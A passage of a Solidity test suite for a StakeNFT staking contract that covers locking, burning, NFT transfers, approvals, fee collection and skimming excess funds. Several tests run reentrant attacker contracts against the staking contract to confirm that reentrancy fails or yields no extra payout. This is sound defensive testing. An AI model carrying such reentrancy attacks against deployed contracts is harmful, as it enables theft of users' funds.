uint256 tokenID = stakeNFT.mintTo(address(user), 1000, 0);
assertPosition(
getCurrentPosition(stakeNFT, tokenID),
StakeNFT.Position(1000, 1, 1, 0, 0)
);
assertEq(stakeNFT.balanceOf(address(user)), 1);
assertEq(stakeNFT.ownerOf(tokenID), address(user));
assertReserveAndExcessZero(stakeNFT, 1000, 0);
governance.lockPosition(address(user), tokenID, 172800);
}
function testLockPositionAndBurn() public {
(
StakeNFT stakeNFT,
MadTokenMock madToken,
,
GovernanceAccount governance
) = getFixtureData();
UserAccount user = newUserAccount(madToken, stakeNFT);
madToken.approve(address(stakeNFT), 1000);
uint256 tokenID = stakeNFT.mintTo(address(user), 1000, 0);
assertPosition(
getCurrentPosition(stakeNFT, tokenID),
StakeNFT.Position(1000, 1, 1, 0, 0)
);
assertEq(stakeNFT.balanceOf(address(user)), 1);
assertEq(stakeNFT.ownerOf(tokenID), address(user));
assertReserveAndExcessZero(stakeNFT, 1000, 0);
governance.lockPosition(address(user), tokenID, 172800);
setBlockNumber(block.number + 172801);
(uint256 payoutEth, uint256 payoutToken) = user.burn(tokenID);
assertEq(payoutEth, 0);
assertEq(payoutToken, 1000);
assertEq(madToken.balanceOf(address(user)), 1000);
assertEq(madToken.balanceOf(address(stakeNFT)), 0);
assertEq(stakeNFT.balanceOf(address(user)), 0);
assertReserveAndExcessZero(stakeNFT, 0, 0);
}
function testFail_LockPositionAndTryToBurnBeforeLockHasFinished() public {
(
StakeNFT stakeNFT,
MadTokenMock madToken,
,
GovernanceAccount governance
) = getFixtureData();
UserAccount user = newUserAccount(madToken, stakeNFT);
madToken.approve(address(stakeNFT), 1000);
uint256 tokenID = stakeNFT.mintTo(address(user), 1000, 0);
assertPosition(
getCurrentPosition(stakeNFT, tokenID),
StakeNFT.Position(1000, 1, 1, 0, 0)
);
assertEq(stakeNFT.balanceOf(address(user)), 1);
assertEq(stakeNFT.ownerOf(tokenID), address(user));
governance.lockPosition(address(user), tokenID, 800);
setBlockNumber(block.number + 750);
user.burn(tokenID);
}
function testFail_LockPositionNotTheOwner() public {
(
StakeNFT stakeNFT,
MadTokenMock madToken,
,
GovernanceAccount governance
) = getFixtureData();
UserAccount user = newUserAccount(madToken, stakeNFT);
madToken.approve(address(stakeNFT), 1000);
uint256 tokenID = stakeNFT.mintTo(address(user), 1000, 0);
assertPosition(
getCurrentPosition(stakeNFT, tokenID),
StakeNFT.Position(1000, 1, 1, 0, 0)
);
assertEq(stakeNFT.balanceOf(address(user)), 1);
assertEq(stakeNFT.ownerOf(tokenID), address(user));
governance.lockPosition(address(this), tokenID, 1);
}
function testFail_LockPositionInvalidLockHeight() public {
(
StakeNFT stakeNFT,
MadTokenMock madToken,
,
GovernanceAccount governance
) = getFixtureData();
UserAccount user = newUserAccount(madToken, stakeNFT);
madToken.approve(address(stakeNFT), 1000);
uint256 tokenID = stakeNFT.mintTo(address(user), 1000, 0);
assertPosition(
getCurrentPosition(stakeNFT, tokenID),
StakeNFT.Position(1000, 1, 1, 0, 0)
);
assertEq(stakeNFT.balanceOf(address(user)), 1);
assertEq(stakeNFT.ownerOf(tokenID), address(user));
governance.lockPosition(address(user), tokenID, 172800 + 1);
}
function testFail_LockNonExistentPosition() public {
(
StakeNFT stakeNFT,
MadTokenMock madToken,
,
GovernanceAccount governance
) = getFixtureData();
UserAccount user = newUserAccount(madToken, stakeNFT);
governance.lockPosition(address(user), 4, 172800);
}
function testFail_ReentrantLoopCollectEth() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount donator = newUserAccount(madToken, stakeNFT);
ReentrantLoopEthCollectorAccount user = new ReentrantLoopEthCollectorAccount();
user.setTokens(madToken, stakeNFT);
madToken.transfer(address(user), 100);
//madToken.transfer(address(donator), 210_000_000 * ONE_MADTOKEN );
user.approve(address(stakeNFT), 100);
//donator.approve(address(stakeNFT), 210_000_000 * ONE_MADTOKEN);
//payable(address(user)).transfer(2000 ether);
payable(address(donator)).transfer(2000 ether);
uint256 tokenID = user.mint(100);
setBlockNumber(block.number+2);
donator.depositEth(1000 ether);
user.collectEth(tokenID);
// it should not get here
}
function test_ReentrantFiniteCollectEth() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount donator = newUserAccount(madToken, stakeNFT);
UserAccount honestUser = newUserAccount(madToken, stakeNFT);
ReentrantFiniteEthCollectorAccount user = new ReentrantFiniteEthCollectorAccount();
user.setTokens(madToken, stakeNFT);
madToken.transfer(address(user), 100);
madToken.transfer(address(honestUser), 100);
user.approve(address(stakeNFT), 100);
honestUser.approve(address(stakeNFT), 100);
payable(address(donator)).transfer(2000 ether);
uint256 tokenID = user.mint(100);
uint256 honestTokenID = honestUser.mint(100);
setBlockNumber(block.number+2);
donator.depositEth(1000 ether);
// the result with re-entrance should be the same as calling collectEth only once
uint256 payout = user.collectEth(tokenID);
assertEq(payout, 500 ether);
assertEq(address(user).balance, 500 ether);
payout = honestUser.collectEth(honestTokenID);
assertEq(payout, 500 ether);
assertEq(address(honestUser).balance, 500 ether);
}
function testFail_ReentrantLoopBurn() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount donator = newUserAccount(madToken, stakeNFT);
ReentrantLoopBurnAccount user = new ReentrantLoopBurnAccount();
user.setTokens(madToken, stakeNFT);
madToken.transfer(address(user), 100);
//madToken.transfer(address(donator), 210_000_000 * ONE_MADTOKEN );
user.approve(address(stakeNFT), 100);
//donator.approve(address(stakeNFT), 210_000_000 * ONE_MADTOKEN);
//payable(address(user)).transfer(2000 ether);
payable(address(donator)).transfer(2000 ether);
uint256 tokenID = user.mint(100);
setBlockNumber(block.number+2);
donator.depositEth(1000 ether);
user.burn(tokenID);
// it should not get here
}
function testFail_ReentrantFiniteBurn() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount donator = newUserAccount(madToken, stakeNFT);
ReentrantFiniteBurnAccount user = new ReentrantFiniteBurnAccount();
user.setTokens(madToken, stakeNFT);
madToken.transfer(address(user), 100);
//madToken.transfer(address(donator), 210_000_000 * ONE_MADTOKEN );
user.approve(address(stakeNFT), 100);
//donator.approve(address(stakeNFT), 210_000_000 * ONE_MADTOKEN);
//payable(address(user)).transfer(2000 ether);
payable(address(donator)).transfer(2000 ether);
uint256 tokenID = user.mint(100);
donator.depositEth(1000 ether);
setBlockNumber(block.number+2);
user.burn(tokenID);
// it should not get here
//assertEq(payout, 1000 ether);
//assertEq(address(user).balance, 1000 ether);
}
function testFail_SafeTransferPosition_WithoutApproval() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount user1 = newUserAccount(madToken, stakeNFT);
UserAccount user2 = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(user1), 100);
user1.approve(address(stakeNFT), 100);
uint256 tokenID = user1.mint(100);
stakeNFT.safeTransferFrom(address(user1), address(user2), tokenID);
}
function testFail_SafeTransferPosition_toNonERC721Receiver() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount user1 = newUserAccount(madToken, stakeNFT);
UserAccount user2 = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(user1), 100);
user1.approve(address(stakeNFT), 100);
uint256 tokenID = user1.mint(100);
setBlockNumber(block.number+2);
user1.approveNFT(address(this), tokenID);
stakeNFT.safeTransferFrom(address(user1), address(user2), tokenID);
}
function testSafeTransferPosition_toERC721Receiver() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount user1 = newUserAccount(madToken, stakeNFT);
ERC721ReceiverAccount user2 = new ERC721ReceiverAccount();
user2.setTokens(madToken, stakeNFT);
madToken.transfer(address(user1), 100);
user1.approve(address(stakeNFT), 100);
uint256 tokenID = user1.mint(100);
assertReserveAndExcessZero(stakeNFT, 100, 0);
setBlockNumber(block.number+2);
user1.approveNFT(address(this), tokenID);
stakeNFT.safeTransferFrom(address(user1), address(user2), tokenID);
assertEq(stakeNFT.ownerOf(tokenID), address(user2));
assertEq(stakeNFT.balanceOf(address(user1)), 0);
assertEq(stakeNFT.balanceOf(address(user2)), 1);
assertEq(stakeNFT.balanceOf(address(stakeNFT)), 0);
assertReserveAndExcessZero(stakeNFT, 100, 0);
}
function testFail_SafeTransferPosition_toReentrantLoopBurnERC721Receiver() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount donator = newUserAccount(madToken, stakeNFT);
UserAccount user1 = newUserAccount(madToken, stakeNFT);
ReentrantLoopBurnERC721ReceiverAccount user2 = new ReentrantLoopBurnERC721ReceiverAccount();
user2.setTokens(madToken, stakeNFT);
madToken.transfer(address(user1), 100);
user1.approve(address(stakeNFT), 100);
uint256 tokenID = user1.mint(100);
payable(donator).transfer(100 ether);
donator.depositEth(100 ether);
setBlockNumber(block.number+2);
user1.approveNFT(address(this), tokenID);
stakeNFT.safeTransferFrom(address(user1), address(user2), tokenID);
}
function testFail_SafeTransferPosition_toReentrantFiniteBurnERC721Receiver() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount donator = newUserAccount(madToken, stakeNFT);
UserAccount user1 = newUserAccount(madToken, stakeNFT);
ReentrantFiniteBurnERC721ReceiverAccount user2 = new ReentrantFiniteBurnERC721ReceiverAccount();
user2.setTokens(madToken, stakeNFT);
madToken.transfer(address(user1), 100);
user1.approve(address(stakeNFT), 100);
uint256 tokenID = user1.mint(100);
payable(donator).transfer(100 ether);
donator.depositEth(100 ether);
setBlockNumber(block.number+2);
user1.approveNFT(address(this), tokenID);
stakeNFT.safeTransferFrom(address(user1), address(user2), tokenID);
}
function testSafeTransferPosition_toReentrantLoopCollectEthERC721Receiver() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount donator = newUserAccount(madToken, stakeNFT);
UserAccount user1 = newUserAccount(madToken, stakeNFT);
ReentrantLoopCollectEthERC721ReceiverAccount user2 = new ReentrantLoopCollectEthERC721ReceiverAccount();
user2.setTokens(madToken, stakeNFT);
madToken.transfer(address(user1), 100);
user1.approve(address(stakeNFT), 100);
uint256 tokenID = user1.mint(100);
payable(donator).transfer(100 ether);
donator.depositEth(100 ether);
setBlockNumber(block.number+2);
user1.approveNFT(address(this), tokenID);
stakeNFT.safeTransferFrom(address(user1), address(user2), tokenID);
assertEq(stakeNFT.ownerOf(tokenID), address(user2));
assertEq(stakeNFT.balanceOf(address(user1)), 0);
assertEq(stakeNFT.balanceOf(address(user2)), 1);
assertEq(stakeNFT.balanceOf(address(stakeNFT)), 0);
assertEq(address(user2).balance, 100 ether);
assertEq(address(user1).balance, 0);
assertEq(address(donator).balance, 0);
assertEq(address(stakeNFT).balance, 0);
}
function testTransferPosition() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount user1 = newUserAccount(madToken, stakeNFT);
UserAccount user2 = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(user1), 100 * ONE_MADTOKEN);
madToken.transfer(address(user2), 100 * ONE_MADTOKEN);
user1.approve(address(stakeNFT), 100 * ONE_MADTOKEN);
user2.approve(address(stakeNFT), 100 * ONE_MADTOKEN);
uint256 token1User1 = user1.mint(100 * ONE_MADTOKEN);
assertPosition(
getCurrentPosition(stakeNFT, token1User1),
StakeNFT.Position(uint224(100 * ONE_MADTOKEN), 1, 1, 0, 0)
);
assertEq(stakeNFT.balanceOf(address(user1)), 1);
assertEq(stakeNFT.ownerOf(token1User1), address(user1));
assertEq(stakeNFT.balanceOf(address(user2)), 0);
assertReserveAndExcessZero(stakeNFT, 100 * ONE_MADTOKEN, 0);
user1.transferFrom(address(user1), address(user2), token1User1);
assertEq(stakeNFT.balanceOf(address(user1)), 0);
assertEq(stakeNFT.ownerOf(token1User1), address(user2));
assertEq(stakeNFT.balanceOf(address(user2)), 1);
assertReserveAndExcessZero(stakeNFT, 100 * ONE_MADTOKEN, 0);
}
function testApproveTransferPosition() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount user1 = newUserAccount(madToken, stakeNFT);
UserAccount user2 = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(user1), 100 * ONE_MADTOKEN);
madToken.transfer(address(user2), 100 * ONE_MADTOKEN);
user1.approve(address(stakeNFT), 100 * ONE_MADTOKEN);
user2.approve(address(stakeNFT), 100 * ONE_MADTOKEN);
uint256 token1User1 = user1.mint(100 * ONE_MADTOKEN);
assertPosition(
getCurrentPosition(stakeNFT, token1User1),
StakeNFT.Position(uint224(100 * ONE_MADTOKEN), 1, 1, 0, 0)
);
assertEq(stakeNFT.balanceOf(address(user1)), 1);
assertEq(stakeNFT.ownerOf(token1User1), address(user1));
assertEq(stakeNFT.balanceOf(address(user2)), 0);
assertReserveAndExcessZero(stakeNFT, 100 * ONE_MADTOKEN, 0);
//approving user2 to transfer user1 token
user1.approveNFT(address(user2), token1User1);
user1.transferFrom(address(user1), address(user2), token1User1);
assertEq(stakeNFT.balanceOf(address(user1)), 0);
assertEq(stakeNFT.ownerOf(token1User1), address(user2));
assertEq(stakeNFT.balanceOf(address(user2)), 1);
assertReserveAndExcessZero(stakeNFT, 100 * ONE_MADTOKEN, 0);
}
function testApproveAllTransferPosition() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount user1 = newUserAccount(madToken, stakeNFT);
UserAccount user2 = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(user1), 100 * ONE_MADTOKEN);
madToken.transfer(address(user2), 100 * ONE_MADTOKEN);
user1.approve(address(stakeNFT), 100 * ONE_MADTOKEN);
user2.approve(address(stakeNFT), 100 * ONE_MADTOKEN);
uint256 token1User1 = user1.mint(50 * ONE_MADTOKEN);
assertPosition(
getCurrentPosition(stakeNFT, token1User1),
StakeNFT.Position(uint224(50 * ONE_MADTOKEN), 1, 1, 0, 0)
);
assertEq(stakeNFT.balanceOf(address(user1)), 1);
assertEq(stakeNFT.ownerOf(token1User1), address(user1));
assertReserveAndExcessZero(stakeNFT, 50 * ONE_MADTOKEN, 0);
uint256 token2User1 = user1.mint(50 * ONE_MADTOKEN);
assertPosition(
getCurrentPosition(stakeNFT, token2User1),
StakeNFT.Position(uint224(50 * ONE_MADTOKEN), 1, 1, 0, 0)
);
assertEq(stakeNFT.balanceOf(address(user1)), 2);
assertEq(stakeNFT.ownerOf(token2User1), address(user1));
assertEq(stakeNFT.balanceOf(address(user2)), 0);
assertReserveAndExcessZero(stakeNFT, 100 * ONE_MADTOKEN, 0);
//approving the test contract to transfer all user1 token
user1.setApprovalForAll(address(this), true);
stakeNFT.transferFrom(address(user1), address(user2), token1User1);
stakeNFT.transferFrom(address(user1), address(this), token2User1);
assertEq(stakeNFT.balanceOf(address(user1)), 0);
assertEq(stakeNFT.ownerOf(token1User1), address(user2));
assertEq(stakeNFT.balanceOf(address(user2)), 1);
assertEq(stakeNFT.ownerOf(token2User1), address(this));
assertEq(stakeNFT.balanceOf(address(this)), 1);
assertReserveAndExcessZero(stakeNFT, 100 * ONE_MADTOKEN, 0);
}
function testFail_TransferNotOwnedPositionWithoutApproval() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount user1 = newUserAccount(madToken, stakeNFT);
UserAccount user2 = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(user1), 100 * ONE_MADTOKEN);
madToken.transfer(address(user2), 100 * ONE_MADTOKEN);
user1.approve(address(stakeNFT), 100 * ONE_MADTOKEN);
user2.approve(address(stakeNFT), 100 * ONE_MADTOKEN);
uint256 token1User1 = user1.mint(50 * ONE_MADTOKEN);
assertPosition(
getCurrentPosition(stakeNFT, token1User1),
StakeNFT.Position(uint224(50 * ONE_MADTOKEN), 1, 1, 0, 0)
);
assertEq(stakeNFT.balanceOf(address(user1)), 1);
assertEq(stakeNFT.ownerOf(token1User1), address(user1));
// test contract was not approved to run the transfer method
stakeNFT.transferFrom(address(user1), address(user2), token1User1);
}
function testFail_TransferNotOwnedPositionWithoutApproval2() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount user1 = newUserAccount(madToken, stakeNFT);
UserAccount user2 = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(user1), 100 * ONE_MADTOKEN);
madToken.transfer(address(user2), 100 * ONE_MADTOKEN);
user1.approve(address(stakeNFT), 100 * ONE_MADTOKEN);
user2.approve(address(stakeNFT), 100 * ONE_MADTOKEN);
uint256 token1User1 = user1.mint(50 * ONE_MADTOKEN);
assertPosition(
getCurrentPosition(stakeNFT, token1User1),
StakeNFT.Position(uint224(50 * ONE_MADTOKEN), 1, 1, 0, 0)
);
assertEq(stakeNFT.balanceOf(address(user1)), 1);
assertEq(stakeNFT.ownerOf(token1User1), address(user1));
uint256 token2User1 = user1.mint(50 * ONE_MADTOKEN);
assertPosition(
getCurrentPosition(stakeNFT, token2User1),
StakeNFT.Position(uint224(50 * ONE_MADTOKEN), 1, 1, 0, 0)
);
assertEq(stakeNFT.balanceOf(address(user1)), 2);
assertEq(stakeNFT.ownerOf(token2User1), address(user1));
assertEq(stakeNFT.balanceOf(address(user2)), 0);
user1.approveNFT(address(this), token1User1);
// test contract was not approved to transfer token 2 only token1
stakeNFT.transferFrom(address(user1), address(user2), token2User1);
}
function testFail_BurnLockedWithdraw() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount user = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(user), 100 * ONE_MADTOKEN);
user.approve(address(stakeNFT), 100 * ONE_MADTOKEN);
uint256 tokenID = user.mint(100 * ONE_MADTOKEN);
assertPosition(
getCurrentPosition(stakeNFT, tokenID),
StakeNFT.Position(uint224(100 * ONE_MADTOKEN), 1, 1, 0, 0)
);
user.lockWithdraw(tokenID, 10);
user.burn(tokenID);
}
function testBurnLockedWithdraw() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount user = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(user), 100 * ONE_MADTOKEN);
user.approve(address(stakeNFT), 100 * ONE_MADTOKEN);
uint256 tokenID = user.mint(100 * ONE_MADTOKEN);
assertPosition(
getCurrentPosition(stakeNFT, tokenID),
StakeNFT.Position(uint224(100 * ONE_MADTOKEN), 1, 1, 0, 0)
);
user.lockWithdraw(tokenID, 10);
setBlockNumber(block.number+11);
user.burn(tokenID);
assertEq(madToken.balanceOf(address(user)), 100 * ONE_MADTOKEN);
assertEq(madToken.balanceOf(address(stakeNFT)), 0);
}
function testFail_CollectEthLockedWithdraw() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount user = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(user), 100 * ONE_MADTOKEN);
user.approve(address(stakeNFT), 100 * ONE_MADTOKEN);
uint256 tokenID = user.mint(100 * ONE_MADTOKEN);
assertPosition(
getCurrentPosition(stakeNFT, tokenID),
StakeNFT.Position(uint224(100 * ONE_MADTOKEN), 1, 1, 0, 0)
);
user.lockWithdraw(tokenID, 10);
user.collectEth(tokenID);
}
function testFail_CollectTokensLockedWithdraw() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount user = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(user), 100 * ONE_MADTOKEN);
user.approve(address(stakeNFT), 100 * ONE_MADTOKEN);
uint256 tokenID = user.mint(100 * ONE_MADTOKEN);
assertPosition(
getCurrentPosition(stakeNFT, tokenID),
StakeNFT.Position(uint224(100 * ONE_MADTOKEN), 1, 1, 0, 0)
);
user.lockWithdraw(tokenID, 10);
user.collectToken(tokenID);
}
function testCollectLockedWithdraw() public {
(StakeNFT stakeNFT, MadTokenMock madToken, , ) = getFixtureData();
UserAccount user = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(user), 100 * ONE_MADTOKEN);
user.approve(address(stakeNFT), 100 * ONE_MADTOKEN);
uint256 tokenID = user.mint(100 * ONE_MADTOKEN);
assertPosition(
getCurrentPosition(stakeNFT, tokenID),
StakeNFT.Position(uint224(100 * ONE_MADTOKEN), 1, 1, 0, 0)
);
user.lockWithdraw(tokenID, 10);
setBlockNumber(block.number+11);
user.collectEth(tokenID);
assertEq(madToken.balanceOf(address(user)), 0);
assertEq(madToken.balanceOf(address(stakeNFT)), 100 * ONE_MADTOKEN);
}
function testSkimExcessEth() public {
// transferring money before the contract is created
payable(address(0xf5a2fE45F4f1308502b1C136b9EF8af136141382)).transfer(100 ether + 1);
(StakeNFT stakeNFT, MadTokenMock madToken, AdminAccount admin , ) = getFixtureData();
assertEq(address(stakeNFT).balance, 100 ether + 1);
assertReserveAndExcess(stakeNFT, 0, 0, 0, 100 ether + 1);
UserAccount user = newUserAccount(madToken, stakeNFT);
assertEq(address(user).balance, 0);
admin.skimExcessEth(address(user));
assertEq(address(user).balance, 100 ether + 1);
assertEq(address(stakeNFT).balance, 0);
}
function testSkimExcessToken() public {
(StakeNFT stakeNFT, MadTokenMock madToken, AdminAccount admin , ) = getFixtureData();
// transferring Token excess
madToken.transfer(address(0xf5a2fE45F4f1308502b1C136b9EF8af136141382), 1000 * ONE_MADTOKEN + 1);
assertEq(madToken.balanceOf(address(stakeNFT)), 1000 * ONE_MADTOKEN + 1);
assertReserveAndExcess(stakeNFT, 0, 0, 1000 * ONE_MADTOKEN + 1, 0);
UserAccount user = newUserAccount(madToken, stakeNFT);
assertEq(madToken.balanceOf(address(user)), 0);
admin.skimExcessToken(address(user));
assertEq(madToken.balanceOf(address(user)), 1000 * ONE_MADTOKEN + 1);
assertEq(madToken.balanceOf(address(stakeNFT)), 0);
}
function testSkimExcessWithMintBurnCollectAndDeposit() public {
// transferring money before the contract is created
payable(address(0xf5a2fE45F4f1308502b1C136b9EF8af136141382)).transfer(100 ether + 1);
(StakeNFT stakeNFT, MadTokenMock madToken, AdminAccount admin , ) = getFixtureData();
// transferring Token excess
madToken.transfer(address(0xf5a2fE45F4f1308502b1C136b9EF8af136141382), 1000 * ONE_MADTOKEN + 1);
assertEq(address(stakeNFT).balance, 100 ether + 1);
assertReserveAndExcess(stakeNFT, 0, 0, 1000 * ONE_MADTOKEN + 1, 100 ether + 1);
UserAccount user1 = newUserAccount(madToken, stakeNFT);
assertEq(address(user1).balance, 0);
UserAccount user2 = newUserAccount(madToken, stakeNFT);
UserAccount user3 = newUserAccount(madToken, stakeNFT);
UserAccount donator = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(user1), 10 * ONE_MADTOKEN);
madToken.transfer(address(user2), 10 * ONE_MADTOKEN);
madToken.transfer(address(user3), 10 * ONE_MADTOKEN);
madToken.transfer(address(donator), 100000 * ONE_MADTOKEN);
user1.approve(address(stakeNFT), 10 * ONE_MADTOKEN);
user2.approve(address(stakeNFT), 10 * ONE_MADTOKEN);
user3.approve(address(stakeNFT), 10 * ONE_MADTOKEN);
donator.approve(address(stakeNFT), 100000 * ONE_MADTOKEN);
payable(address(donator)).transfer(100000 ether);
uint256 sharesPerUser = 10 * ONE_MADTOKEN;
uint256 tokenID1 = user1.mint(sharesPerUser);
setBlockNumber(block.number+2);
{
uint256 payout = user1.collectToken(tokenID1);
assertEq(payout, 0);
payout = user1.collectEth(tokenID1);
assertEq(payout, 0);
}
uint256 tokenID2 = user2.mint(sharesPerUser);
uint256 tokenID3 = user3.mint(sharesPerUser);
assertReserveAndExcess(stakeNFT, 30 * ONE_MADTOKEN, 0 ether, 1000 * ONE_MADTOKEN + 1, 100 ether + 1);
setBlockNumber(block.number+2);
uint256 credits = 0;
uint256 debits = 0;
for (uint256 i =0; i < 2; i++){
donator.depositEth(1000);
credits += 1000;
uint256 payout = user1.collectEth(tokenID1);
assertEq(payout, 330);
debits += payout;
uint256 payout2 = user2.collectEth(tokenID2);
assertEq(payout2, 330);
debits += payout2;
uint256 payout3 = user3.collectEth(tokenID3);
assertEq(payout3, 330);
debits += payout3;
}
{
emit log_named_uint("Balance ETH: ", address(stakeNFT).balance);
(, uint256 slush) = stakeNFT.getEthAccumulator();
assertEq(slush, (credits - debits) * 10**18);
assertReserveAndExcess(stakeNFT, 30 * ONE_MADTOKEN, (credits - debits), 1000 * ONE_MADTOKEN + 1, 100 ether + 1);
}
{
donator.depositEth(2000);
credits += 2000;
assertReserveAndExcess(stakeNFT, 30 * ONE_MADTOKEN, (credits - debits), 1000 * ONE_MADTOKEN + 1, 100 ether + 1);
uint256 payout = user1.collectEth(tokenID1);
assertEq(payout, 670);
debits += payout;
uint256 payout2 = user2.collectEth(tokenID2);
assertEq(payout2, 670);
debits += payout2;
uint256 payout3 = user3.collectEth(tokenID3);
assertEq(payout3, 670);
debits += payout3;
}
{
(, uint256 slush) = stakeNFT.getEthAccumulator();
assertEq(slush, (credits - debits) * 10**18);
assertEq(slush, 10 * 10**18);
}
{
donator.depositToken(2000);
assertReserveAndExcess(stakeNFT, 30 * ONE_MADTOKEN + 2000, (credits - debits), 1000 * ONE_MADTOKEN + 1, 100 ether + 1);
uint256 payout = user1.collectToken(tokenID1);
assertEq(payout, 660);
uint256 payout2 = user2.collectToken(tokenID2);
assertEq(payout2, 660);
uint256 payout3 = user3.collectToken(tokenID3);
assertEq(payout3, 660);
}
assertReserveAndExcess(stakeNFT, 30 * ONE_MADTOKEN + 20, (credits - debits), 1000 * ONE_MADTOKEN + 1, 100 ether + 1);
{
(, uint256 slush) = stakeNFT.getEthAccumulator();
assertEq(slush, (credits - debits) * 10**18);
assertEq(slush, 10 * 10**18);
}
{
(, uint256 slush) = stakeNFT.getTokenAccumulator();
assertEq(slush, 20 * 10**18);
}
assertEq(madToken.balanceOf(address(stakeNFT)), 1000 * ONE_MADTOKEN + 1 + 30 * ONE_MADTOKEN + 20);
admin.skimExcessToken(address(user2));
assertEq(madToken.balanceOf(address(user2)), 1000 * ONE_MADTOKEN + 1 + 660);
assertEq(madToken.balanceOf(address(stakeNFT)), 30 * ONE_MADTOKEN + 20);
assertReserveAndExcess(stakeNFT, 30 * ONE_MADTOKEN + 20, (credits - debits), 0, 100 ether + 1);
madToken.transfer(address(0xf5a2fE45F4f1308502b1C136b9EF8af136141382), 100 * ONE_MADTOKEN + 1);
{
(uint256 payoutEth, uint256 payoutToken) = user1.burn(tokenID1);
assertEq(payoutEth, 0);
assertEq(payoutToken, 10 * ONE_MADTOKEN);
assertEq(stakeNFT.balanceOf(address(user1)), 0);
assertReserveAndExcess(stakeNFT, 20 * ONE_MADTOKEN + 20, (credits - debits), 100 * ONE_MADTOKEN + 1, 100 ether + 1);
(payoutEth, payoutToken) = user2.burn(tokenID2);
assertEq(payoutEth, 0);
assertEq(payoutToken, 10 * ONE_MADTOKEN);
assertEq(stakeNFT.balanceOf(address(user2)), 0);
assertReserveAndExcess(stakeNFT, 10 * ONE_MADTOKEN + 20, (credits - debits), 100 * ONE_MADTOKEN + 1, 100 ether + 1);
// last user gets the slush as well
(payoutEth, payoutToken) = user3.burn(tokenID3);
assertEq(payoutEth, (credits - debits));
assertEq(payoutToken, 10 * ONE_MADTOKEN + 20);
assertEq(stakeNFT.balanceOf(address(user3)), 0);
assertReserveAndExcess(stakeNFT, 0, 0, 100 * ONE_MADTOKEN + 1, 100 ether + 1);
}
assertEq(address(stakeNFT).balance, 100 ether + 1);
admin.skimExcessEth(address(user1));
assertEq(address(user1).balance, 1330 + 100 ether + 1);
assertEq(address(stakeNFT).balance, 0);
assertEq(madToken.balanceOf(address(stakeNFT)), 100 * ONE_MADTOKEN + 1);
admin.skimExcessToken(address(user3));
assertEq(madToken.balanceOf(address(user3)), (100 * ONE_MADTOKEN + 1) + 660 + (10 * ONE_MADTOKEN) + 20);
assertReserveAndExcess(stakeNFT, 0, 0, 0, 0);
assertEq(madToken.balanceOf(address(stakeNFT)), 0);
}
function test_ReentrantSkimExcessEth() public {
// transferring money before the contract is created
payable(address(0xf5a2fE45F4f1308502b1C136b9EF8af136141382)).transfer(100 ether);
(StakeNFT stakeNFT, MadTokenMock madToken, AdminAccountReEntrant admin, ) = getFixtureDataAdminReEntrant();
UserAccount donator = newUserAccount(madToken, stakeNFT);
UserAccount honestUser = newUserAccount(madToken, stakeNFT);
madToken.transfer(address(honestUser), 100);
honestUser.approve(address(stakeNFT), 100);
payable(address(donator)).transfer(2000 ether);
uint256 tokenID1 = honestUser.mint(50);
uint256 TokenID2 = honestUser.mint(50);
setBlockNumber(block.number+2);
donator.depositEth(1000 ether);
// calling with reentrancy should yield the same result as calling it normally
admin.skimExcessEth(address(admin));
assertEq(address(admin).balance, 100 ether);
uint256 payout = honestUser.collectEth(tokenID1);
assertEq(payout, 500 ether);
assertEq(address(honestUser).balance, 500 ether);
payout = honestUser.collectEth(TokenID2);
assertEq(payout, 500 ether);
assertEq(address(honestUser).balance, 1000 ether);
}
function testFail_ReentrantNoAdmin() public {
// transferring money before the contract is created
payable(address(0xf5a2fE45F4f1308502b1C136b9EF8af136141382)).transfer(100 ether);
(StakeNFT stakeNFT, MadTokenMock madToken, AdminAccount admin , ) = getFixtureData();
UserAccount donator = newUserAccount(madToken, stakeNFT);
UserAccount honestUser = newUserAccount(madToken, stakeNFT);
AdminAccountReEntrant user = new AdminAccountReEntrant();
user.setTokens(madToken, stakeNFT);
madToken.transfer(address(user), 100);
madToken.transfer(address(honestUser), 100);
user.approve(address(stakeNFT), 100);
honestUser.approve(address(stakeNFT), 100);
payable(address(donator)).transfer(2000 ether);
uint256 tokenID = user.mint(100);
uint256 honestTokenID = honestUser.mint(100);
setBlockNumber(block.number+2);
donator.depositEth(1000 ether);
admin.skimExcessEth(address(user));
}
function testCanEstimateEthWithoutNewBlocks() public {
